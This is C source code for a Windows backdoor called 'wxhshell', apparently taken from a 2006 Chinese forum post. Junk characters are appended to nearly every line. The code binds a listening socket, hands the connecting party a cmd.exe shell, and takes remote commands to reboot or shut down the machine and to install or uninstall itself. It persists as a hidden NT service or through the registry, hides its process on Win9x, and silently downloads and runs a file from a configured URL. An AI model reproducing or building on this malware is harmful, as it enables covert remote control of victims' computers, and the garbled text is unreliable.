    switch(cmd[0]) { *%'4.He7V  
  #O^H? 3Q3  
  // 帮助 [X)+(-J  
  case '?': { A,MRK#1u  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); GC H= X  
    break; Mq42^m:qe  
  } p*W4^2(d  
  // 安装 5JDqSz{  
  case 'i': { =ALy.^J=  
    if(Install()) JrseU6N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |]DZc/  
    else M9]O!{ sq  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B+ GPTQSTb  
    break; sU4(ed\gI\  
    }  :q;vZ6Xd  
  // 卸载 Vlce^\s;  
  case 'r': { (iGk]Rtzt  
    if(Uninstall()) v*QobI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z]Z>+|  
    else 5wRDH1z@{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  ;e()|  
    break; BkA>':bUr  
    } Uk-^n~y  
  // 显示 wxhshell 所在路径 jN 5Hku[?  
  case 'p': { tHXt*tzq  
    char svExeFile[MAX_PATH]; dI-=0v-|  
    strcpy(svExeFile,"\n\r"); w48T?  
      strcat(svExeFile,ExeFile); q>r9ooN  
        send(wsh,svExeFile,strlen(svExeFile),0); B c*Rn3i@  
    break; j)C%zzBu(  
    } <|Bh;;  
  // 重启 O9A.WSJ >}  
  case 'b': { d4[M{LSl  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 0Apdhwk~  
    if(Boot(REBOOT)) @pYAqX2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v%/_*69a  
    else { `f*?|)  
    closesocket(wsh); '\l(.N  
    ExitThread(0); k  5xzC&  
    } 6"[`"~9'V  
    break; WUGPi'x  
    } 0fXdE ;M3  
  // 关机 ;QW6Tgt11  
  case 'd': { v(FO8*5DZ  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Dq*>+1eW2  
    if(Boot(SHUTDOWN)) ~!,'z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <'-}6f3  
    else { G#)>D$Ck#  
    closesocket(wsh); 4Me*QYD  
    ExitThread(0); % &4sHDP  
    } ai`fP{WlX  
    break; f<uLbJ6  
    } g!V;*[  
  // 获取shell 8Y sn8  
  case 's': { Vg\EAs>f  
    CmdShell(wsh); M=x/PrY"R  
    closesocket(wsh); pJVzT,poh  
    ExitThread(0); :"3WCB  
    break; X;v/$=-mz  
  } w%VHq z$  
  // 退出 4B<D.i ;}  
  case 'x': { K4N~ApLB+  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 45edyQ  
    CloseIt(wsh); |`U^+Nf  
    break; nC qUg_{D  
    } ^;<s"TJ(m)  
  // 离开 jWiB_8- 6  
  case 'q': { =JOupw  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); q3VE\&*^F  
    closesocket(wsh); OlRBv foh8  
    WSACleanup(); k^p|H:  
    exit(1); MH'S,^J  
    break; Mm :6+  
        } ><TuL7+  
  } g>_6O[;t%  
  } (pH13qU5  
d&(GIH E&d  
  // 提示信息 X{9D fgW  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); K:V_,[gO  
} }v;@1[.B  
  } c*1t<OAS~  
XtNe) Ry  
  return; vXR-#MS`}  
} @PZ&/F ^  
a_L&*%;  
// shell模块句柄 f&js,NU"  
int CmdShell(SOCKET sock) )2g\GRg6  
{ 9|D!&=8   
STARTUPINFO si; n9050&_S  
ZeroMemory(&si,sizeof(si)); ?<#6=  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Jv1.Yz  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; x!{5.#  
PROCESS_INFORMATION ProcessInfo; iPa!pg4m  
char cmdline[]="cmd"; 8 %Lq~ lk  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); *"P :ySA  
  return 0; Q SW03/_f  
} gPT-zul  
245(ajxHC  
// 自身启动模式 bkceR>h%  
int StartFromService(void) Vu*yEF}  
{ &AU%3b  
typedef struct ` *&*jdq&i  
{ PnFU{N  
  DWORD ExitStatus; xA`Q4"[I  
  DWORD PebBaseAddress; (NFq/w%  
  DWORD AffinityMask; q<@f3[A  
  DWORD BasePriority; \"V7O'S)&  
  ULONG UniqueProcessId; G+=eu K2]  
  ULONG InheritedFromUniqueProcessId; go|/I&  
}   PROCESS_BASIC_INFORMATION; &[3 xpi{v  
a^~T-;_V  
PROCNTQSIP NtQueryInformationProcess; UkG|5P`  
bVQLj}%   
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Lf3Ri/@ p  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; >O&(G0!N+}  
8%_XJyg  
  HANDLE             hProcess; {[jcT>.3j  
  PROCESS_BASIC_INFORMATION pbi; 5H6m{ng  
0F1 a  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); drBWo|/  
  if(NULL == hInst ) return 0; `a ["`N^  
hWJ\dwF  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); f#ID:Ap3  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); SJ6lI66OX  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); WLP A51R  
2_x}wB0P  
  if (!NtQueryInformationProcess) return 0; _;O$o t\5  
/j0<x^m/  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 7Wmk"gp  
  if(!hProcess) return 0; z[M LMf[c  
.6z#o{n  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; U-QK   
O/e5LA  
  CloseHandle(hProcess); Gx|$A+U  
jF<Y,(C\  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); rqxoqcZ  
if(hProcess==NULL) return 0; lf4-Ci*X  
05g U~6AF  
HMODULE hMod; D(Pd?iQIO  
char procName[255]; MG*#-<OV.  
unsigned long cbNeeded; ^+F@KXn L  
-m(9*b{h@  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); L~"~C(g  
'\(Us^Ug  
  CloseHandle(hProcess); MBIt)d@Ix  
N|O/3:P<,U  
if(strstr(procName,"services")) return 1; // 以服务启动 N$aLCX  
T6=c9f?7  
  return 0; // 注册表启动 RI!!?hYm  
} g;i>nzf  
%C" wUAY  
// 主模块 i~@e}=  
int StartWxhshell(LPSTR lpCmdLine) y1p^ &9 U  
{ "diF$Lj  
  SOCKET wsl; `J|bGf#  
BOOL val=TRUE; |#D3~au   
  int port=0; Dkay k  
  struct sockaddr_in door; EA7 8&  
7"yA~e,l  
  if(wscfg.ws_autoins) Install(); =5 l7{i*`  
EoD;'+d  
port=atoi(lpCmdLine); #Q.A)5_  
"EQ`Q=8  
if(port<=0) port=wscfg.ws_port; cgNK67"(  
v(W$\XH  
  WSADATA data; JfxD-9U^>u  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Jt\?,~,  
-M2c8P:.b  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ` Xc~'zG  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); -|\V'  
  door.sin_family = AF_INET; @] uvpI!h  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); q(p]6Ha|  
  door.sin_port = htons(port); 0k>bsn/ j  
T?4MFx#  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { \HF|&@}hU  
closesocket(wsl); sMlY!3{I x  
return 1; O68/Hf1W  
} KC9_H>  
pUutI|mt/  
  if(listen(wsl,2) == INVALID_SOCKET) { : KhAf2A  
closesocket(wsl); &<2~7?$!  
return 1; bW\OKI1  
} HJ?p,V q5_  
  Wxhshell(wsl); [v ( \y  
  WSACleanup(); u&z5)iU  
C ?JcCD2  
return 0; 89e<,f`h  
}K1v=k  
} Z`y%#B6x.  
:l ~Wt7R  
// 以NT服务方式启动 c}v>Mx  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) bHZXMUewC  
{ 2XI%z4\)!  
DWORD   status = 0; M:K5r7Q!yv  
  DWORD   specificError = 0xfffffff; VN6h:-&iY  
MWTzJGRT  
  serviceStatus.dwServiceType     = SERVICE_WIN32; $L%gQkz_  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; [hC-} 9  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; bwN>E+  
  serviceStatus.dwWin32ExitCode     = 0; &v9*D`7L  
  serviceStatus.dwServiceSpecificExitCode = 0; KnK8\p88\  
  serviceStatus.dwCheckPoint       = 0; :'p+Ql~c  
  serviceStatus.dwWaitHint       = 0; hDBVL"  
KYBoGCS>  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 1~rZka[s  
  if (hServiceStatusHandle==0) return; C]H'z  
OwRH :l  
status = GetLastError(); :+Ti^FF`w  
  if (status!=NO_ERROR) Zw6UH;5  
{ 'PiQ|Nnb|  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; K6 D3  
    serviceStatus.dwCheckPoint       = 0; *O6q=yg;K:  
    serviceStatus.dwWaitHint       = 0; k6.<zs0  
    serviceStatus.dwWin32ExitCode     = status; gLp7<gx6  
    serviceStatus.dwServiceSpecificExitCode = specificError; (.[HE ~ s?  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); cvSr><(  
    return; Ujb7uho  
  } >Vp #   
SA3!a.*c  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 3hUU$|^4gm  
  serviceStatus.dwCheckPoint       = 0; N-C=O  
  serviceStatus.dwWaitHint       = 0; &.D#OnRh9  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); %#gHa  
} aG&ay3[&  
Mzfuthq=@  
// 处理NT服务事件,比如:启动、停止 )Pj8{.t4  
VOID WINAPI NTServiceHandler(DWORD fdwControl) x ,LQA0  
{ #\DKU@|h  
switch(fdwControl) c ow]qe6K  
{ iLhxcM2K  
case SERVICE_CONTROL_STOP: ftr?@^  
  serviceStatus.dwWin32ExitCode = 0; d9bc>5%-F  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; { [S@+  
  serviceStatus.dwCheckPoint   = 0; cHr.7 w  
  serviceStatus.dwWaitHint     = 0; N5]}m:"pk  
  { 'UW]~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); g+ZQ6Hz  
  } 4\Nt"#U)g  
  return; h4N%(?7  
case SERVICE_CONTROL_PAUSE: Pgdv)i3  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; BZUA/;Hz &  
  break; ~r%>x  
case SERVICE_CONTROL_CONTINUE: HzuB.B<  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; IgxZ_2hO  
  break; O\;R (  
case SERVICE_CONTROL_INTERROGATE: 9pY`_lxa>  
  break; -hn~-Sy+  
}; ~]Md*F[4*e  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +#$(>6Zu"{  
} !/]vt?v#^  
(j*1sk  
// 标准应用程序主函数 OsSGVk #Qh  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) gJkvH[hDY  
{ X.YMb .\<  
L~Hgf/%5  
// 获取操作系统版本 kuEB  
OsIsNt=GetOsVer(); ZA;VA=)\8  
GetModuleFileName(NULL,ExeFile,MAX_PATH); W'0(0;+G/j  
8r|5l~`8  
  // 从命令行安装 Vy+UOV&v-  
  if(strpbrk(lpCmdLine,"iI")) Install(); zLeId83>  
(K"8kQLY  
  // 下载执行文件 =5 zx]N1r  
if(wscfg.ws_downexe) { ,sn/FT^; q  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) +[2X@J  
  WinExec(wscfg.ws_filenam,SW_HIDE); ~C;1}P%9x  
} %b)~K|NEFf  
}3rWmo8V  
if(!OsIsNt) { %\uEV  
// 如果时win9x,隐藏进程并且设置为注册表启动 aucQZD-_"  
HideProc(); F| ib=_)3  
StartWxhshell(lpCmdLine); $IdY(f:.:5  
} wlY6h4c  
else E\ 'X|/$a  
  if(StartFromService()) ab5uZ0@  
  // 以服务方式启动 _jhdqON6E  
  StartServiceCtrlDispatcher(DispatchTable); Vv]81y15Q;  
else q%^vx%aL\  
  // 普通方式启动 MZ/PXY  
  StartWxhshell(lpCmdLine); `U~Y{f_!H  
tWo MUp  
return 0; "q'9-lk  
}
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只看该作者 1 发表于: 2006-10-10
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